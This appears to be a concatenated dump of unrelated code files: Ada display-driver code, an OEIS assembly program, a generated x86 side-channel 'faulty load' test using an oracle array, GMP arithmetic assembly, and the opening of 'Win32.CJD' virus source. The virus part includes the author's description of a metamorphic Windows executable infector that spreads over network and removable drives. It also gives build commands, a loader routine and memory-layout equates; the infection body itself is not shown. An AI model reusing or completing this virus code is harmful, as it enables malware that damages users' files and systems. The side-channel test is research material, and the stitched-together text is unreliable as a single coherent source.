Shift_Left (Word32 (Buf (Offset + Idx)), (3 - Idx) * 8);
end loop;
Registers.Write (Register => Register, Value => Value);
end if;
end Write_Data_Reg;
procedure Read_Data_Reg
(Register : in Registers.Registers_Index;
Buf : in out DP_Defs.Aux_Response;
Length : in DP_Defs.Aux_Response_Length;
Offset : in DP_Defs.Aux_Response_Index)
is
Value : Word32;
Count : DP_Defs.Aux_Response_Length;
begin
if Offset < Length then
if Length - Offset > 4 then
Count := 4;
else
Count := Length - Offset;
end if;
Registers.Read (Register => Register, Value => Value);
for Idx in 0 .. Count - 1 loop
Buf (Offset + Idx) :=
Word8 (Shift_Right (Value, (3 - Idx) * 8) and 16#ff#);
end loop;
end if;
end Read_Data_Reg;
DP_AUX_CTL_2x_Clock_Mask : constant :=
(if Config.Has_PCH_Aux_Channels then
DP_AUX_CTL_2X_BIT_CLOCK_DIV_MASK else 0);
DP_AUX_CTL_2x_Clock : constant Word32 :=
(if Config.Has_PCH_Aux_Channels then
(if Port = DP_A then
Word32 ((Config.Default_CDClk_Freq + 1_000_000) / 2_000_000)
else
Word32 ((Config.Raw_Clock + 1_000_000) / 2_000_000))
elsif Config.Has_GMCH_RawClk then
Word32 (Div_Round_Closest (Config.Raw_Clock, 2_000_000))
else 0);
Busy : Boolean;
Status : Word32;
begin
Response := (others => 0); -- Don't care
Response_Length := DP_Defs.Aux_Response_Length'First;
if Config.Need_DP_Aux_Mutex then
Registers.Set_Mask
(Register => AUX_CH (Port).MUTEX,
Mask => DDI_AUX_MUTEX_MUTEX_ENABLE);
Registers.Wait_Set_Mask
(Register => AUX_CH (Port).MUTEX,
Mask => DDI_AUX_MUTEX_MUTEX_STATUS);
end if;
Registers.Is_Set_Mask
(Register => AUX_CH (Port).CTL,
Mask => DP_AUX_CTL_SEND_BUSY,
Result => Busy);
if Busy then
Success := False;
else
for Idx in AUX_CH_Data_Regs loop
Write_Data_Reg
(Register => AUX_CH (Port).DATA (Idx),
Buf => Request,
Length => Request_Length,
Offset => (Natural (Idx) - 1) * 4);
end loop;
Registers.Unset_And_Set_Mask
(Register => AUX_CH (Port).CTL,
Mask_Unset => DP_AUX_CTL_INTERRUPT_ON_DONE or
DP_AUX_CTL_TIME_OUT_TIMER_MASK or
DP_AUX_CTL_MESSAGE_SIZE_MASK or
DP_AUX_CTL_2x_Clock_Mask,
Mask_Set => DP_AUX_CTL_SEND_BUSY or -- starts transfer
DP_AUX_CTL_DONE or -- clears the status
DP_AUX_CTL_TIME_OUT_ERROR or -- clears the status
DP_AUX_CTL_RECEIVE_ERROR or -- clears the status
DP_AUX_CTL_TIME_OUT_TIMER_600US or
DP_AUX_CTL_MESSAGE_SIZE (Request_Length) or
DP_AUX_CTL_2x_Clock);
Registers.Wait_Unset_Mask
(Register => AUX_CH (Port).CTL,
Mask => DP_AUX_CTL_SEND_BUSY);
Registers.Read (Register => AUX_CH (Port).CTL, Value => Status);
Success := (Status and
(DP_AUX_CTL_TIME_OUT_ERROR or DP_AUX_CTL_RECEIVE_ERROR))
= 0;
if Success then
Status := (Status and DP_AUX_CTL_MESSAGE_SIZE_MASK)
/ DP_AUX_CTL_MESSAGE_SIZE_SHIFT;
if Natural (Status) < DP_Defs.Aux_Response_Length'First then
Success := False;
elsif Natural (Status) > DP_Defs.Aux_Response_Length'Last then
Response_Length := DP_Defs.Aux_Response_Length'Last;
else
Response_Length := Natural (Status);
end if;
end if;
if Success then
for Idx in AUX_CH_Data_Regs loop
Read_Data_Reg
(Register => AUX_CH (Port).DATA (Idx),
Buf => Response,
Length => Response_Length,
Offset => (Natural (Idx) - 1) * 4);
end loop;
end if;
end if;
if Config.Need_DP_Aux_Mutex then
Registers.Unset_And_Set_Mask
(Register => AUX_CH (Port).MUTEX,
Mask_Unset => DDI_AUX_MUTEX_MUTEX_ENABLE,
Mask_Set => DDI_AUX_MUTEX_MUTEX_STATUS); -- frees the mutex
end if;
end Aux_Request_Low;
----------------------------------------------------------------------------
procedure Do_Aux_Request
(Port : in DP_Port;
Request : in DP_Defs.Aux_Request;
Request_Length : in DP_Defs.Aux_Request_Length;
Response : out DP_Defs.Aux_Response;
Response_Length : out DP_Defs.Aux_Response_Length;
Success : out Boolean)
is
begin
for Try in Positive range 1 .. 3 loop
Aux_Request_Low
(Port => Port,
Request => Request,
Request_Length => Request_Length,
Response => Response,
Response_Length => Response_Length,
Success => Success);
exit when Success;
end loop;
end Do_Aux_Request;
end HW.GFX.GMA.DP_Aux_Request;
|
oeis/312/A312101.asm | neoneye/loda-programs | 11 | 242276 | <reponame>neoneye/loda-programs
; A312101: Coordination sequence Gal.6.150.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by <NAME>
; 1,4,8,13,18,22,27,32,36,41,46,50,54,58,62,67,72,76,81,86,90,95,100,104,108,112,116,121,126,130,135,140,144,149,154,158,162,166,170,175,180,184,189,194,198,203,208,212,216,220
mov $1,$0
seq $1,315689 ; Coordination sequence Gal.6.624.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $2,$0
mul $0,7
sub $0,1
mod $0,$1
mul $2,3
add $0,$2
add $0,1
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2522.asm | ljhsiun2/medusa | 9 | 246320 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1e524, %r15
xor $617, %rdi
movw $0x6162, (%r15)
nop
nop
nop
and $10783, %rdi
lea addresses_WT_ht+0x382a, %rbp
nop
nop
nop
and $57908, %r9
movb (%rbp), %r11b
nop
nop
sub $59185, %rdi
lea addresses_A_ht+0x11c18, %rsi
lea addresses_A_ht+0xdc60, %rdi
and $35147, %rbx
mov $35, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r15
push %r8
push %rax
push %rbp
// Faulty Load
lea addresses_D+0x174a0, %rax
nop
nop
sub %rbp, %rbp
mov (%rax), %r8d
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
libtool/src/gmp-6.1.2/mpn/x86/pentium4/sse2/mod_1_4.asm | kroggen/aergo | 1,602 | 88772 | <reponame>kroggen/aergo
dnl x86-32 mpn_mod_1s_4p for Pentium 4 and P6 models with SSE2 (i.e. 9,D,E,F).
dnl Contributed to the GNU project by <NAME>.
dnl Copyright 2009, 2010 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C TODO:
C * Optimize. The present code was written quite straightforwardly.
C * Optimize post-loop reduction code.
C * Write a cps function that uses sse2 insns.
C cycles/limb
C P6 model 0-8,10-12 -
C P6 model 9 (Banias) ?
C P6 model 13 (Dothan) 3.4
C P4 model 0-1 (Willamette) ?
C P4 model 2 (Northwood) 4
C P4 model 3-4 (Prescott) 4.5
C INPUT PARAMETERS
C ap sp + 4
C n sp + 8
C b sp + 12
C cps sp + 16
define(`B1modb', `%mm1')
define(`B2modb', `%mm2')
define(`B3modb', `%mm3')
define(`B4modb', `%mm4')
define(`B5modb', `%mm5')
define(`ap', `%edx')
define(`n', `%eax')
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(mpn_mod_1s_4p)
push %ebx
mov 8(%esp), ap
mov 12(%esp), n
mov 20(%esp), %ecx
movd 8(%ecx), B1modb
movd 12(%ecx), B2modb
movd 16(%ecx), B3modb
movd 20(%ecx), B4modb
movd 24(%ecx), B5modb
mov n, %ebx
lea -4(ap,n,4), ap
and $3, %ebx
je L(b0)
cmp $2, %ebx
jc L(b1)
je L(b2)
L(b3): movd -4(ap), %mm7
pmuludq B1modb, %mm7
movd -8(ap), %mm6
paddq %mm6, %mm7
movd (ap), %mm6
pmuludq B2modb, %mm6
paddq %mm6, %mm7
lea -24(ap), ap
add $-3, n
jz L(end)
jmp L(top)
L(b0): movd -8(ap), %mm7
pmuludq B1modb, %mm7
movd -12(ap), %mm6
paddq %mm6, %mm7
movd -4(ap), %mm6
pmuludq B2modb, %mm6
paddq %mm6, %mm7
movd (ap), %mm6
pmuludq B3modb, %mm6
paddq %mm6, %mm7
lea -28(ap), ap
add $-4, n
jz L(end)
jmp L(top)
L(b1): movd (ap), %mm7
lea -16(ap), ap
dec n
jz L(x)
jmp L(top)
L(b2): movd -4(ap), %mm7 C rl
punpckldq (ap), %mm7 C rh
lea -20(ap), ap
add $-2, n
jz L(end)
ALIGN(8)
L(top): movd 4(ap), %mm0
pmuludq B1modb, %mm0
movd 0(ap), %mm6
paddq %mm6, %mm0
movd 8(ap), %mm6
pmuludq B2modb, %mm6
paddq %mm6, %mm0
movd 12(ap), %mm6
pmuludq B3modb, %mm6
paddq %mm6, %mm0
movq %mm7, %mm6
psrlq $32, %mm7 C rh
pmuludq B5modb, %mm7
pmuludq B4modb, %mm6
paddq %mm0, %mm7
paddq %mm6, %mm7
add $-16, ap
add $-4, n
jnz L(top)
L(end): pcmpeqd %mm4, %mm4
psrlq $32, %mm4 C 0x00000000FFFFFFFF
pand %mm7, %mm4 C rl
psrlq $32, %mm7 C rh
pmuludq B1modb, %mm7 C rh,cl
paddq %mm4, %mm7 C rh,rl
L(x): movd 4(%ecx), %mm4 C cnt
psllq %mm4, %mm7 C rh,rl normalized
movq %mm7, %mm2 C rl in low half
psrlq $32, %mm7 C rh
movd (%ecx), %mm1 C bi
pmuludq %mm7, %mm1 C qh,ql
paddq %mm2, %mm1 C qh-1,ql
movd %mm1, %ecx C ql
psrlq $32, %mm1 C qh-1
movd 16(%esp), %mm3 C b
pmuludq %mm1, %mm3 C (qh-1) * b
psubq %mm3, %mm2 C r in low half (could use psubd)
movd %mm2, %eax C r
mov 16(%esp), %ebx
sub %ebx, %eax C r
cmp %eax, %ecx
lea (%eax,%ebx), %edx
cmovc( %edx, %eax)
movd %mm4, %ecx C cnt
cmp %ebx, %eax
jae L(fix)
emms
pop %ebx
shr %cl, %eax
ret
L(fix): sub %ebx, %eax
emms
pop %ebx
shr %cl, %eax
ret
EPILOGUE()
ALIGN(16)
PROLOGUE(mpn_mod_1s_4p_cps)
C CAUTION: This is the same code as in k7/mod_1_4.asm
push %ebp
push %edi
push %esi
push %ebx
mov 20(%esp), %ebp C FIXME: avoid bp for 0-idx
mov 24(%esp), %ebx
bsr %ebx, %ecx
xor $31, %ecx
sal %cl, %ebx C b << cnt
mov %ebx, %edx
not %edx
mov $-1, %eax
div %ebx
xor %edi, %edi
sub %ebx, %edi
mov $1, %esi
mov %eax, (%ebp) C store bi
mov %ecx, 4(%ebp) C store cnt
shld %cl, %eax, %esi
imul %edi, %esi
mov %eax, %edi
mul %esi
add %esi, %edx
shr %cl, %esi
mov %esi, 8(%ebp) C store B1modb
not %edx
imul %ebx, %edx
lea (%edx,%ebx), %esi
cmp %edx, %eax
cmovnc( %edx, %esi)
mov %edi, %eax
mul %esi
add %esi, %edx
shr %cl, %esi
mov %esi, 12(%ebp) C store B2modb
not %edx
imul %ebx, %edx
lea (%edx,%ebx), %esi
cmp %edx, %eax
cmovnc( %edx, %esi)
mov %edi, %eax
mul %esi
add %esi, %edx
shr %cl, %esi
mov %esi, 16(%ebp) C store B3modb
not %edx
imul %ebx, %edx
lea (%edx,%ebx), %esi
cmp %edx, %eax
cmovnc( %edx, %esi)
mov %edi, %eax
mul %esi
add %esi, %edx
shr %cl, %esi
mov %esi, 20(%ebp) C store B4modb
not %edx
imul %ebx, %edx
add %edx, %ebx
cmp %edx, %eax
cmovnc( %edx, %ebx)
shr %cl, %ebx
mov %ebx, 24(%ebp) C store B5modb
pop %ebx
pop %esi
pop %edi
pop %ebp
ret
EPILOGUE()
|
Win32/Win32.CJD/Win32.CJD.asm | fengjixuchui/Family | 3 | 101343 | ;
;
; CREUTZFELDT-JAKOB DISEASE BioCoded by Neurobasher/Germany
; ---------------------------------------------------------
;
;
;
;
; Index:
; ------
;
; 1 - About the biological version
; 2 - Author's description
; 3 - [WIN32.CJD] source code
;
;
;
;
; 1 - About the biological version
; --------------------------------
;
;
;---------------------------------------
;What is Bovine Spongiform Encephalopaty
;---------------------------------------
;
;BSE is a progressive, fatal neurologic disorder of cattle and is classified as one of the transmissible
;spongiform encephalopathies, a group of diseases of animals and humans believed to be caused by abnormally
;folded proteins called prions. The disease itself is known since 1920 and is often called the 'mad cow disease'.
;BSE was first identified in 1986 in the United Kingdom (UK), where it caused a large outbreak
;among cattle. Although the source of the BSE epizootic agent is uncertain, feeding cattle BSE-contaminated
;meat-and-bone meal is the major contributory factor to the amplification of BSE among cattle. Since 1986,
;BSE cases have been identified in 20 European countries, Japan, Israel, and Canada.
;
;The appearance of the new variant of CJD in several younger than average people in Great Britain and France
;has led to concern that BSE may be transmitted to humans through consumption of contaminated beef. Although
;laboratory tests have shown a strong similarity between the prions causing BSE and CJD, there is no direct
;proof to support this theory.
;
;----------------------------------
;What is Creutzfeldt-Jakob Disease?
;----------------------------------
;
;Creutzfeldt-Jakob disease (CJD) is a rare, degenerative, invariably fatal brain disorder.
;Typically, onset of symptoms occurs at about age 60.. There are three major categories of CJD:
;sporadic CJD, hereditary CJD, and acquired CJD. There is currently no single diagnostic test for CJD.
;The first concern is to rule out treatable forms of dementia such as encephalitis or chronic meningitis.
;The only way to confirm a diagnosis of CJD is by brain biopsy or autopsy. In a brain biopsy,
;a neurosurgeon removes a small piece of tissue from the patient's brain so that is can be examined
;by a neurologist. Because a correct diagnosis of CJD does not help the patient, a brain biopsy
;is discouraged unless it is need to rule out a treatable disorder. While CJD can be transmitted to
;other people, the risk of this happening is extremely small.
;
;There is no treatment that can cure or control CJD. Current treatment is aimed at alleviating symptoms
;and making the patient as comfortable as possible. Opiate drugs can help relieve pain, and the drugs
;clonazepam and sodium valproate may help relieve involuntary muscle jerks.
;
;About 90 percent of patients die within 1 year. In the early stages of disease, patients may have
;failing memory, behavioral changes, lack of coordination and visual disturbances. As the illness progresses,
;mental deterioration becomes pronounced and involuntary movements, blindness, weakness of extremities,
;and coma may occur.
;
;The leading scientific theory at this time maintains that CJD is caused by a type of protein called a prion.
;The harmless and the infectious forms of the prion protein are nearly identical, but the infectious form
;takes a different folded shape than the normal protein. Researchers are examining whether the transmissible
;agent is, in fact, a prion and trying to discover factors that influence prion infectivity and how the disorder
;damages the brain. Using rodent models of the disease and brain tissue from autopsies, they are also trying to
;identify factors that influence the susceptibility to the disease and that govern when in life the disease appears.
;
;
;
; 2 - Authors description
; -----------------------
;
;It is a very complex parasitic highly polymorphic Win32 virus that uses the entry-point ;obscuring technique.
;The virus uses a metamorphic engine and permutates its code.
;The virus infects Windows executable files (Win32 PE EXE). When run
;the virus searches for these files and randomly infects them by different infection sheme.
;The virus searches for Win32 PE executable files in the current and five levels upper
;directories, also on the available network and removable media and in the directories if
;their names not begin with "W", and infects them. The virus doesn't infect files if their
;names begin with several suspicious caracters like anti*,...
;
;or if the name contains the 'V' letter, and depending on the random counter value.
;While infecting files the virus rebuilds and encrypts its body and writes it to one of the
;host file's sections. Then, it searches for and replaces one of the calls to the
;"ExitProcess" function in the host's code section with the call to the viral code.
;Several functions depends on randomness and are mutated from generation to generation also.
;
;Payload
;Depending on the system date the virus displays various messages
;There's a really small chance the virus allows multipe infections of the files.
;This files were corrupted and won't work anymore.
;
;
; 3 - Win32 source code
; ---------------------
; bugfixed vers.
;
; To get first generation file use TASM 5.0r
; c:\tasm32 -ml -m9 -q cjdiseae.asm
; c:\tlink32 -Tpe -c -x -aa -r cjdisease.obj,,,import32
;
.386p
.model flat
locals
.code
ret
.data
AddressToFree dd 0
extrn ExitProcess:PROC
extrn VirtualAlloc:PROC
extrn VirtualFree:PROC
extrn GetModuleHandleA:PROC
extrn GetProcAddress:PROC
extrn MessageBoxA:PROC
PreMain proc
push 4
push 1000h
push 350000h
push 0
call VirtualAlloc
or eax, eax
jz @@Error
mov ebp, eax
mov [AddressToFree], eax
mov ebx, eax
mov esi, offset Main
mov edi, eax
mov ecx, offset EndOfCode
sub ecx, offset Main
rep movsb ; Copy virus
push __DISASM2_SECTION
push __DATA_SECTION
push __BUFFERS_SECTION
push __DISASM_SECTION
push __CODE_SECTION
mov eax, offset GetProcAddress
mov eax, [eax+2]
push eax
mov eax, offset GetModuleHandleA
mov eax, [eax+2]
push eax
push 5*2 ; Bit 0=0: 'A', 1
call ebx
push 0C000h
push 0
push dword ptr [AddressToFree]
call VirtualFree
@@Error:
push 0
jmp @@Dropper
title: db ' [Win32.CJD] was done by <<<NEUROBASHER/GERMANY>>> ',0
body: db ' Creutzfeldt-Jakob Disease ',0ah,0dh
db ' rare, degenerative, invariably fatal brain disorder. ',0ah,0dh
db ' ------------- ',0ah,0dh
db ' [BSE] Bovine Spongiform Encephalopaty ',0ah,0dh
db ' well known as mad-cow-disease ',0ah,0dh
db ' ',0ah,0dh
db ' f i r s t g e n e r a t i o n e x e c u t e d . . . ',0
@@Dropper:
push 0h
push offset title
push offset body
push 0h
call MessageBoxA
push 0h
call ExitProcess
PreMain endp
__CODE_SECTION EQU 000000h
__DISASM_SECTION EQU 100000h
__BUFFERS_SECTION EQU 080000h
__LABEL_SECTION EQU __BUFFERS_SECTION + 00000h
__VARIABLE_SECTION EQU __BUFFERS_SECTION + 10000h
__BUFFER1_SECTION EQU __BUFFERS_SECTION + 20000h
__BUFFER2_SECTION EQU __BUFFERS_SECTION + 30000h
__VAR_MARKS_SECTION EQU __BUFFERS_SECTION + 40000h
__DATA_SECTION EQU 0E0000h
__DISASM2_SECTION EQU 200000h
NumberOfLabels EQU __DATA_SECTION + 0000h
NumberOfInstructions EQU __DATA_SECTION + 0008h
InstructionTable EQU __DATA_SECTION + 0010h
LabelTable EQU __DATA_SECTION + 0018h
FutureLabelTable EQU __DATA_SECTION + 0020h
PathMarksTable EQU __DATA_SECTION + 0028h
NumberOfLabelsPost EQU __DATA_SECTION + 0030h
AddressOfLastInstruction EQU __DATA_SECTION + 0038h
VariableTable EQU __DATA_SECTION + 0040h
NumberOfVariables EQU __DATA_SECTION + 0048h
FramesTable EQU __DATA_SECTION + 0050h
PermutationResult EQU __DATA_SECTION + 0058h
JumpsTable EQU __DATA_SECTION + 0060h
AddressOfLastFrame EQU __DATA_SECTION + 0068h
PositionOfFirstInstruction EQU __DATA_SECTION + 0070h
MODValue EQU __DATA_SECTION + 0078h
NumberOfJumps EQU __DATA_SECTION + 0080h
RndSeed1 EQU __DATA_SECTION + 0088h
RndSeed2 EQU __DATA_SECTION + 0090h
ExpansionResult EQU __DATA_SECTION + 0098h
Register8Bits EQU __DATA_SECTION + 00A0h
Xp_Register0 EQU __DATA_SECTION + 00A8h
Xp_Register1 EQU __DATA_SECTION + 00B0h
Xp_Register2 EQU __DATA_SECTION + 00B8h
Xp_Register3 EQU __DATA_SECTION + 00C0h
Xp_Register4 EQU __DATA_SECTION + 00C8h
Xp_Register5 EQU __DATA_SECTION + 00D0h
Xp_Register6 EQU __DATA_SECTION + 00D8h
Xp_Register7 EQU __DATA_SECTION + 00E0h
DeltaRegister EQU __DATA_SECTION + 00E8h
Xp_8Bits EQU __DATA_SECTION + 00F0h
Xp_Operation EQU __DATA_SECTION + 00F8h
Xp_Register EQU __DATA_SECTION + 0100h
Xp_Mem_Index1 EQU __DATA_SECTION + 0108h
Xp_Mem_Index2 EQU __DATA_SECTION + 0110h
Xp_Mem_Addition EQU __DATA_SECTION + 0118h
Xp_Immediate EQU __DATA_SECTION + 0120h
Xp_SrcRegister EQU __DATA_SECTION + 0128h
Xp_FlagRegOrMem EQU __DATA_SECTION + 0130h
Xp_RecurseLevel EQU __DATA_SECTION + 0138h
Xp_LEAAdditionFlag EQU __DATA_SECTION + 0140h
VarMarksTable EQU __DATA_SECTION + 0148h
_BUFFERS_SECTION EQU __DATA_SECTION + 0150h
_CODE_SECTION EQU __DATA_SECTION + 0158h
_DISASM_SECTION EQU __DATA_SECTION + 0160h
_LABEL_SECTION EQU __DATA_SECTION + 0168h
_VARIABLE_SECTION EQU __DATA_SECTION + 0170h
_BUFFER1_SECTION EQU __DATA_SECTION + 0178h
_BUFFER2_SECTION EQU __DATA_SECTION + 0180h
_VAR_MARKS_SECTION EQU __DATA_SECTION + 0188h
_DATA_SECTION EQU __DATA_SECTION + 0190h
_DISASM2_SECTION EQU __DATA_SECTION + 0198h
New_CODE_SECTION EQU __DATA_SECTION + 01A0h
New_DISASM_SECTION EQU __DATA_SECTION + 01A8h
New_BUFFERS_SECTION EQU __DATA_SECTION + 01B0h
; New_LABEL_SECTION EQU __DATA_SECTION + 01B0h
; New_VARIABLE_SECTION EQU __DATA_SECTION + 01B8h
; New_BUFFER1_SECTION EQU __DATA_SECTION + 01C0h
; New_BUFFER2_SECTION EQU __DATA_SECTION + 01C8h
; New_VAR_MARKS_SECTION EQU __DATA_SECTION + 01D0h
New_DATA_SECTION EQU __DATA_SECTION + 01D8h
New_DISASM2_SECTION EQU __DATA_SECTION + 01E0h
RVA_GetModuleHandle EQU __DATA_SECTION + 01E8h
RVA_GetProcAddress EQU __DATA_SECTION + 01F0h
FlagAorW EQU __DATA_SECTION + 01F8h
ReturnValue EQU __DATA_SECTION + 0200h
hKernel EQU __DATA_SECTION + 0208h
hUser32 EQU __DATA_SECTION + 0210h
RVA_CreateFileA EQU __DATA_SECTION + 0218h
RVA_CreateFileMappingA EQU __DATA_SECTION + 0220h
RVA_MapViewOfFile EQU __DATA_SECTION + 0228h
RVA_UnmapViewOfFile EQU __DATA_SECTION + 0230h
RVA_GetFileSize EQU __DATA_SECTION + 0238h
RVA_GetFileAttributesA EQU __DATA_SECTION + 0240h
RVA_SetFileAttributesA EQU __DATA_SECTION + 0248h
RVA_SetFilePointer EQU __DATA_SECTION + 0250h
RVA_SetFileTime EQU __DATA_SECTION + 0258h
RVA_SetEndOfFile EQU __DATA_SECTION + 0260h
RVA_FindFirstFileA EQU __DATA_SECTION + 0268h
RVA_FindNextFileA EQU __DATA_SECTION + 0270h
RVA_FindClose EQU __DATA_SECTION + 0278h
RVA_CloseHandle EQU __DATA_SECTION + 0280h
RVA_MessageBoxA EQU __DATA_SECTION + 0288h
NewLabelTable EQU __DATA_SECTION + 0290h
Asm_ByteToSort EQU __DATA_SECTION + 0298h
JumpRelocationTable EQU __DATA_SECTION + 02A0h
NumberOfJumpRelocations EQU __DATA_SECTION + 02A8h
Permut_LastInstruction EQU __DATA_SECTION + 02B0h
TranslatedDeltaRegister EQU __DATA_SECTION + 02B8h
hFile EQU __DATA_SECTION + 02C0h
FileSize EQU __DATA_SECTION + 02C8h
OriginalFileSize EQU __DATA_SECTION + 02D0h
hMapping EQU __DATA_SECTION + 02D8h
MappingAddress EQU __DATA_SECTION + 02E0h
HeaderAddress EQU __DATA_SECTION + 02E8h
StartOfSectionHeaders EQU __DATA_SECTION + 02F0h
RelocHeader EQU __DATA_SECTION + 02F8h
TextHeader EQU __DATA_SECTION + 0300h
DataHeader EQU __DATA_SECTION + 0308h
RVA_TextHole EQU __DATA_SECTION + 0310h
Phys_TextHole EQU __DATA_SECTION + 0318h
TextHoleSize EQU __DATA_SECTION + 0320h
RVA_DataHole EQU __DATA_SECTION + 0328h
Phys_DataHole EQU __DATA_SECTION + 0330h
MakingFirstHole EQU __DATA_SECTION + 0338h
ExitProcessAddress EQU __DATA_SECTION + 0340h
GetModuleHandleAddress EQU __DATA_SECTION + 0348h
GetProcAddressAddress EQU __DATA_SECTION + 0350h
VirtualAllocAddress EQU __DATA_SECTION + 0358h
GetModuleHandleMode EQU __DATA_SECTION + 0360h
VirtualPositionOfVar EQU __DATA_SECTION + 0368h
PhysicalPositionOfVar EQU __DATA_SECTION + 0370h
Kernel32Imports EQU __DATA_SECTION + 0378h
hFindFile EQU __DATA_SECTION + 0380h
Addr_FilePath EQU __DATA_SECTION + 0388h
FileAttributes EQU __DATA_SECTION + 0390h
SizeOfNewCode EQU __DATA_SECTION + 0398h
